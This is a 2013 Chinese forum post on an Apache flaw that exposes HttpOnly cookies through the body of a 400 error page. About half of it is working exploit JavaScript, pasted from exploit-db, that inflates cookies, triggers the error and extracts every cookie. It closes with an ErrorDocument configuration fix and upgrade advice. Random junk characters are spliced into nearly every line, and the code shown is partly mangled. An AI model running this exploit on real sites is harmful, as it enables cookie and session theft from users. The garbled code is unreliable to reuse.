找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2443|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
* k2 s( @+ B2 ?0 A* o# @2 f' H7 b! n; V" ?) w
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:$ e" {/ S* s1 R' m$ \
% p4 N3 T0 P% j& D6 C# J$ U) z

! n1 r) D& x4 [// http://www.exploit-db.com/exploits/18442/
. R5 i; i/ E5 `& K% c! v+ kfunction setCookies (good) {
' l$ E. @: @0 O; V" {// Construct string for cookie value  R1 V. ^' I2 [9 x, Q- L# s
var str = "";7 J+ B2 r/ d; A9 W, V# g! T, t
for (var i=0; i< 819; i++) {
( o' g: \" l/ g4 I0 b( \" jstr += "x";
* p, d) o- L: f( a0 H0 H. ~0 \}
0 ~2 Y, c' x  |! c! ]// Set cookies9 X4 w$ k8 s0 P$ Q2 v5 y1 C
for (i = 0; i < 10; i++) {# G. n+ Z* `* a4 V
// Expire evil cookie3 u6 L1 g/ x" ~( y2 ^
if (good) {
4 [' A5 X: {* r# J( K& O# l4 W5 ~var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
0 d+ a7 o  c# C/ i1 s}% Y6 J& z2 }( d3 t
// Set evil cookie
+ ?$ T7 q9 M* a" ]/ Welse {
$ g9 |  d) Y! K" D2 Lvar cookie = "xss"+i+"="+str+";path=/";+ _  W3 W. i* S0 q
}/ a0 m4 C; `9 a1 }
document.cookie = cookie;
  z6 V5 t4 E! I; F0 R5 O! R}7 k) _" E% T+ u  b/ t0 ~4 d( h& B
}
* a# u5 z& Y7 V  C" Jfunction makeRequest() {$ t  t$ w3 d7 V$ M& q* m8 N  U1 {
setCookies();3 }% G, Q* |. F  I7 Y& L: y+ _
function parseCookies () {
* O5 b# M" j2 z$ X; L2 H: @8 Qvar cookie_dict = {};
: v2 H8 Z9 M' G2 w! U& \// Only react on 400 status0 W, w) A0 F: X! v: b9 `6 ]
if (xhr.readyState === 4 && xhr.status === 400) {
9 ^6 o- t0 F3 m4 I/ r// Replace newlines and match <pre> content6 X9 Y& F8 Q6 q  c
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
# z4 K2 |8 B6 r  _% l9 B$ Bif (content.length) {
. I8 D' u% N1 \. R* Y0 o: s1 x// Remove Cookie: prefix* j  q6 R1 S) v* Z! j
content = content[1].replace("Cookie: ", "");
7 p$ v9 c8 k% Y7 Gvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
0 o! I- r* g1 v// Add cookies to object" N8 x, h* L( o$ @' X2 l8 \4 N
for (var i=0; i<cookies.length; i++) {
* f3 u5 S* J0 {1 Kvar s_c = cookies.split('=',2);  u$ \1 B7 f0 p. W( n1 O2 M
cookie_dict[s_c[0]] = s_c[1];  T) I- q+ P' r2 I8 b( V' i5 ]
}6 h, T; ~/ L$ F6 ^+ e" ~$ i
}
( C& ^8 L0 l6 O: D8 B) y, G// Unset malicious cookies+ ?/ x& C. `4 P& I
setCookies(true);# l3 J1 m( p- V6 S
alert(JSON.stringify(cookie_dict));; @; Y4 u; i; l' ?
}- U  q! z' G  f  L9 |9 s
}3 r5 L7 d* o1 V
// Make XHR request) y# P/ z3 H% ?) k* i
var xhr = new XMLHttpRequest();( t7 i" G9 Z4 y% S( }
xhr.onreadystatechange = parseCookies;
8 r6 t9 W. H2 ]5 G$ M4 Bxhr.open("GET", "/", true);
2 k1 |# H3 A; ~. S( bxhr.send(null);" {, U, G! c0 X8 o
}) K: `* J& |! E  ^0 X  X6 |0 Z; N
makeRequest();3 D9 z" w8 M. p# N: T. ?5 P, Q$ I
: G  L) t# ]/ h# v! C
你就能看见华丽丽的400错误包含着cookie信息。
& z( V5 z* A# h) e! ?7 H; f( d8 t4 L5 c9 p5 A" ~2 G
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#6 D: i8 ?% L3 A  W1 W
' W* \7 Q' J' t  Y' I* d, q6 V
修复方案:+ F, p9 B1 G- I5 u

/ L9 f, b4 Z% ?) t. Y) h" w5 V: v" ]Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
* [$ H; z# @! a3 b, ?  T+ k: e
9 L( M8 U4 B' y- a4 z* K5 S; @In the event of a problem or error, Apachecan be configured to do one of four things,; w; S0 \- B( o+ N* D
& J8 _4 I, _% l. H, z& q
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
3 x* V7 M3 ~" |6 [- c2. output acustomized message输出一段信息! o8 Y/ ?6 X. I, c1 d" c
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
% r4 [7 r% D6 ^0 R& q4. redirect to an external URL to handle theproblem/error转向一个外部URL
) h2 k$ i/ |- R4 b' G
3 X; |- L8 v; y5 m经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
# p: Z  d- x' J$ y% E# c! q5 E
3 a/ i7 C3 p1 [( w- N* lApache配置:& {1 j6 D& w/ @$ o$ B$ v
- R& w& S" T' m  D9 @+ u7 |1 i. q
ErrorDocument400 " security test"9 ], k7 x8 y0 j! p1 d" ~. ^

1 P: F- l3 f& N. F$ N+ W; c当然,升级apache到最新也可:)。
8 O* F% \' U8 C7 `! p. d  ]/ e* h/ {5 @, o$ P7 u9 S6 [
参考:http://httpd.apache.org/security/vulnerabilities_22.html- i# |, S+ }& G1 N9 n) u/ g
5 x9 R  y) z8 I+ r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表